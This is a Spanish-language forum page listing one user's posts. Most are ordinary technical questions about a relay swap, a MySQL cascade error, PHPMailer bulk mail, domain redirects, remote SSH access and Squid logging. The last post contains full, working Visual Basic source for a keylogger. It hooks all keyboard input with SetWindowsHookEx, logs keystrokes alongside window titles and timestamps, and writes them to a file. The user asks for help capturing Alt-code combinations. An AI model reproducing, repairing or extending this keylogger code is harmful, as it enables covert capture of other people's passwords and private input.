|
Mostrar Temas
|
Páginas: [1] 2 3 4 5 6
|
1
|
Informática / Electrónica / Reemplazar relay SPST (5VDC 10A 250V) por relay SPDT en adaptador WIFI
|
en: 30 Enero 2020, 16:12 pm
|
Estimados, buenas noches Quisiera que me pudieran brindar su ayuda con el siguiente proyecto personal. Lo que sucede es que tengo un adaptador genérico smart para focos que cuenta con un relay WRG RJ-SS-105DM1 (SPST) datasheet y desearía saber que relay de tipo SPDT puede ser compatible para reemplazar al actual relay y como cambiaría la conexión de los cables de entrada (rojo y/o azul) En las siguientes fotos se pueden apreciar los detalles del adaptador, el diagrama del circuito (hecho a mano) y el objetivo del proyecto. La idea es poder hacer finalmente una conexión en escalera entre el adaptador (con el relay modificado) y un switch de pared de 3 puntos para encender un foco El voltaje que tengo en casa es de 220v Gracias por todo de antemano Saludos,
|
|
|
2
|
Programación / Bases de Datos / MySQL - Problemas con ON UPDATE CASCADE
|
en: 24 Noviembre 2015, 22:23 pm
|
Hola, Tengo el siguiente script. /*!40101 SET NAMES utf8 */;
/*!40101 SET SQL_MODE=''*/;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; CREATE DATABASE /*!32312 IF NOT EXISTS*/`cascadeupdate` /*!40100 DEFAULT CHARACTER SET utf8 */;
USE `cascadeupdate`;
/*Table structure for table `element` */
DROP TABLE IF EXISTS `element`;
CREATE TABLE `element` ( `element_id` int(11) NOT NULL AUTO_INCREMENT, `pool_pool_id` int(11) NOT NULL, `element` varchar(45) DEFAULT NULL, `status` char(1) DEFAULT '1', PRIMARY KEY (`element_id`), KEY `fk_element_pool1_idx` (`pool_pool_id`,`status`), CONSTRAINT `fk_element_pool1` FOREIGN KEY (`pool_pool_id`, `status`) REFERENCES `pool` (`pool_id`, `status`) ON DELETE NO ACTION ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;
/*Data for the table `element` */
insert into `element`(`element_id`,`pool_pool_id`,`element`,`status`) values (1,1,'element 1','1'),(2,1,'element 2','1'),(3,1,'element 3','1');
/*Table structure for table `flowchart` */
DROP TABLE IF EXISTS `flowchart`;
CREATE TABLE `flowchart` ( `flowchart_id` int(11) NOT NULL AUTO_INCREMENT, `flowchart` varchar(45) DEFAULT NULL, `process_process_id` int(11) NOT NULL, `status` char(1) DEFAULT '1', PRIMARY KEY (`flowchart_id`), UNIQUE KEY `index2` (`flowchart_id`,`status`), KEY `fk_flowchart_process1_idx` (`process_process_id`,`status`), CONSTRAINT `fk_flowchart_process1` FOREIGN KEY (`process_process_id`, `status`) REFERENCES `process` (`process_id`, `status`) ON DELETE NO ACTION ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
/*Data for the table `flowchart` */
/*Table structure for table `lane` */
DROP TABLE IF EXISTS `lane`;
CREATE TABLE `lane` ( `lane_id` int(11) NOT NULL AUTO_INCREMENT, `pool_pool_id` int(11) NOT NULL, `lane` varchar(45) DEFAULT NULL, `status` char(1) DEFAULT '1', PRIMARY KEY (`lane_id`), KEY `fk_lane_pool_idx` (`pool_pool_id`,`status`), CONSTRAINT `fk_lane_pool` FOREIGN KEY (`pool_pool_id`, `status`) REFERENCES `pool` (`pool_id`, `status`) ON DELETE NO ACTION ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;
/*Data for the table `lane` */
insert into `lane`(`lane_id`,`pool_pool_id`,`lane`,`status`) values (1,1,'lane 1','1'),(2,1,'lane 2','1'),(3,1,'lane 3','1');
/*Table structure for table `pool` */
DROP TABLE IF EXISTS `pool`;
CREATE TABLE `pool` ( `pool_id` int(11) NOT NULL AUTO_INCREMENT, `pool` varchar(45) DEFAULT NULL, `status` char(1) DEFAULT '1', PRIMARY KEY (`pool_id`), UNIQUE KEY `index2` (`pool_id`,`status`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
/*Data for the table `pool` */
insert into `pool`(`pool_id`,`pool`,`status`) values (1,'pool 1','1');
/*Table structure for table `process` */
DROP TABLE IF EXISTS `process`;
CREATE TABLE `process` ( `process_id` int(11) NOT NULL AUTO_INCREMENT, `process` varchar(45) DEFAULT NULL, `status` char(1) DEFAULT '1', PRIMARY KEY (`process_id`), UNIQUE KEY `index2` (`process_id`,`status`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
/*Data for the table `process` */
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
Es una bd con 3 tablas relacionadas entre si Lane<---Pool--->Element Mi objetivo es implementar el UPDATE CASCADE, así cuando updateo el status=0 de Pool el status de Lane y Element también sea 0. Hasta aquí todo bien, el problema es cuando quiero actualizar el status del Lane o del Element sin tener que actualizar el status de Pool. Me salta el siguiente error <e>Query: update lane set status = 0
Error Code: 1452 Cannot add or update a child row: a foreign key constraint fails (`cascadeupdate`.`lane`, CONSTRAINT `fk_lane_pool` FOREIGN KEY (`pool_pool_id`, `status`) REFERENCES `pool` (`pool_id`, `status`) ON DELETE NO ACTION ON UPDATE CASCADE)
Obviamente el error se da por la llave compuesta (`pool_id`, `status`)... Cómo puedo arreglar esto? Para poder hacer status = 0 a Element o Lane pero sin perder el UPDATE CASCADE que tienen con Pool Gracias
|
|
|
4
|
Programación / PHP / envio de correos (masivos) desde sistema php
|
en: 3 Septiembre 2013, 15:12 pm
|
Hola comunidad,
Actualmente estamos desarrollando un pequeño módulo de envios de correos en un sistema web php-mysql para lo cual se está haciendo uso del phpmailer
El problema es que como son muchas las invitaciones/comunicaciones que se envían a través del sistema utilizando la cuenta de gmail, ésta tiene restricciones en la cantidad de envíos que se realizan por hora/dia Por lo que recurro a ustedes para que me puedan aconsejar al respecto
Podría ser que la mejor opción sea implementar un servidor de correos en el server? En todo caso, unicamente lo utilizaríamos para el envio mas no para leer ni para administrar cuentas de correo ya que para eso utilizamos el mismo gmail Algún buen tuto del cual pueda tener referencias para poder implementarlo?
gracias
|
|
|
5
|
Programación / Desarrollo Web / duda - nombre de dominios parecidos (redireccionar)
|
en: 2 Septiembre 2013, 00:08 am
|
Hola
Actualmente tengo un dominio llamado, por ejemplo, carros2013.com y estoy pensando en adquirir otro llamado carro2013.com (el ultimo no es en plural)
Mi duda es: para poder hacer siempre un redireccionamiento a carros2013.com cada vez que se ingrese a carro2013.com es necesario adquirir (comprar) este último? Una vez comprado, como configuraría el redireccionamiento entre esos 2 dominios? Como funcionan los procesos de redireccionamiento de este tipo?
gracias
|
|
|
6
|
Foros Generales / Dudas Generales / Redireccionamiento de dominios parecidos
|
en: 31 Agosto 2013, 15:54 pm
|
Hola
Actualmente tengo un dominio llamado, por ejemplo, carros2013.com y estoy pensando en adquirir otro llamado carro2013.com (el ultimo no es en plural)
Mi duda es: para poder hacer siempre un redireccionamiento a carros2013.com cada vez que se ingrese a carro2013.com es necesario adquirir (comprar) este último? Una vez comprado, como configuraría el redireccionamiento entre esos 2 dominios? Como funcionan los procesos de redireccionamiento de este tipo?
gracias
|
|
|
7
|
Programación / Bases de Datos / posible cadena tipo JSON?
|
en: 14 Agosto 2013, 19:20 pm
|
Hola! Tengo una duda respecto al formato de un Dato (cadena) que encontré recientemente en un script de BD; precisamente en una tabla del Plugin NinjaForms del WordPress (WP) Tabla: vel_ninja_forms_subs Campo: data Dato: a:3:{i:0;a:2:{s:8:"field_id";i:23;s:10:"user_value";s:5:"Heidy";}i:1;a:2:{s:8:"field_id";i:24;s:10:"user_value";s:15:" heidy@aaksd.com";}i:2;a:2:{s:8:"field_id";i:25;s:10:"user_value";s:19:"akjhfkjadhkajdhkjas";}} Le veo un parecido con el formato JSON... Mi duda es: existe el formato de dicha cadena? O es una variación que maneja internamente el WP como propia? Gracias
|
|
|
8
|
Comunicaciones / Redes / conexion remota al server
|
en: 22 Julio 2011, 16:13 pm
|
Holas! Tengo un problema He implementado un server y un proxy (ambos con debian) para una pequeña red. La cuestion es q estare de viaje y tengo q subir algunos archivos q tengo q actualizar en el server Actualmente de manera local lo hago con WinSCP ...Como puedo conectarme a mi server desde internet para poder hacer actualizaciones desde otro lugar q no sea una PC local?? Las actualizaciones las haria desde una laptop con Win7 ... Podria hacerlo tb con WinSCP?? gracias
|
|
|
9
|
Comunicaciones / Redes / dudas con debian en proxy
|
en: 21 Julio 2011, 16:21 pm
|
Hola gente! Tengo unas dudas He levantado un proxy con debian con su respectivo squid y toda la cosa para lo q es seguridad y todo bien hasta ahi ... mi duda es si es q existe algun servicio para: 1. Ver el historial de todas las paginas visitadas (diaria,semanal y mensualmente) de cada IP de mi red 2. Ver (en tiempo real) si es q alguna IP esta descargando algo, de donde lo esta descargando, a q velocidad, etc cualquier info q me puedan brindar por favor gracias
|
|
|
10
|
Programación / Programación Visual Basic / Problemas con un Keylogger con HOOK
|
en: 5 Agosto 2010, 22:37 pm
|
Holas gente Buscando por el foro y encontre un code muy interesante elaborado por Karcrack para poder construir un keylogger con hook y no con timer Pero el problema es q lo estuve probando y no guarda las combinaciones con la tecla Alt para los codigos ascii (ni siquiera cnd esta se presiona sola) Por ejem: Si presiono Alt+64= @, Alt+93= ], Alt+36= $ ... etc, etc ... No las guarda en el log Caso contrario con el shift q combinada con otra tecla, si la guarda correctamente A q se debe esto?? Como podria arreglarlo?? Este es el code Option Explicit '||||||||||||||||||||||| '| | '|Autor: Karcrack | '|Fecha: 24/09/08 | '| | '||||||||||||||||||||||| Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long) Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer Private Const WH_KEYBOARD_LL As Long = 13 Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Type KBDLLHOOKSTRUCT VkCode As Long ScanCode As Long Flags As Long Time As Long DwExtraInfo As Long End Type Dim KBHook As Long Dim KeyData As String Dim lHwnd As Long Public Sub ManageKeylogger(ByVal Enable As Boolean) Select Case Enable Case True KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0) Case False Call UnhookWindowsHookEx(KBHook) End Select End Sub Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long Dim KeyBoardHook As KBDLLHOOKSTRUCT If nCode = 0 Then CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook) With KeyBoardHook If .Flags = 0 Or .Flags = 1 Then If SaveLog(TranslateKey(.VkCode)) > 50 Then Call LogToFile(App.Path & "\Log.log") End If End If End With Else KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam) End If End Function Private Function TranslateKey(ByVal KeyCode As Long) As String Dim LngShift As Long 'Funcion optimizada para su uso en teclados españoles. LngShift = GetAsyncKeyState(vbKeyShift) If KeyCode >= 58 And KeyCode <= 90 Then TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode))) ElseIf KeyCode >= 96 And KeyCode <= 105 Then TranslateKey = Chr(KeyCode - 48) ElseIf KeyCode >= 112 And KeyCode <= 123 Then TranslateKey = "{F" & KeyCode - 111 & "}" Else If KeyCode = 160 Then TranslateKey = "" If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}" If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}" If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}" If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}" If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}" If KeyCode = 32 Then TranslateKey = "{ESPACIO}" If KeyCode = 27 Then TranslateKey = "{ESC}" If KeyCode = 46 Then TranslateKey = "{DEL}" If KeyCode = 36 Then TranslateKey = "{HOME}" If KeyCode = 35 Then TranslateKey = "{END}" If KeyCode = 33 Then TranslateKey = "{PAGE UP}" If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}" If KeyCode = 45 Then TranslateKey = "{PASTE}" If KeyCode = 144 Then TranslateKey = "{NUM}" If KeyCode = 111 Then TranslateKey = "{NUMPAD / }" If KeyCode = 106 Then TranslateKey = "{NUMPAD * }" If KeyCode = 109 Then TranslateKey = "{NUMPAD - }" If KeyCode = 107 Then TranslateKey = "{NUMPAD + }" If KeyCode = 13 Then TranslateKey = "{ENTER}" If KeyCode = 8 Then TranslateKey = "{BACK}" If KeyCode = 221 Then TranslateKey = "{ACCENTO}" If KeyCode = 9 Then TranslateKey = "{TAB}" If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}" If KeyCode = 162 Then TranslateKey = "{STRG LEFT}" If KeyCode = 163 Then TranslateKey = "{STRG DER.}" If KeyCode = 91 Then TranslateKey = "{WINDOWS}" If KeyCode = 164 Then TranslateKey = "{ALT}" If KeyCode = 165 Then TranslateKey = "{ALTGR}" If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}" If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",") If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".") If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-") If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#") If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+") If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü") If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö") If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä") If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß") If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^") If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0") If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1") If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2") If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3") If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4") If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5") If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6") If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7") If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8") If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9") If KeyCode = 145 Then TranslateKey = "{ROLL}" If KeyCode = 44 Then TranslateKey = "{PRINT}" If KeyCode = 19 Then TranslateKey = "{PAUSE}" If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode End If End Function Public Function SaveLog(ByVal sKey As String) As Double Dim aHwnd As Long Dim WinText As String aHwnd = GetForegroundWindow If aHwnd <> lHwnd Then lHwnd = aHwnd WinText = String$(255, Chr$(0)) Call GetWindowText(aHwnd, WinText, Len(WinText)) WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1) KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf End If KeyData = KeyData & sKey SaveLog = Len(KeyData) End Function Public Sub LogToFile(ByVal sPath As String) Open sPath For Binary As #1 Put #1, , KeyData Close #1 End Sub
Gracias por todo
|
|
|
|
|
|
|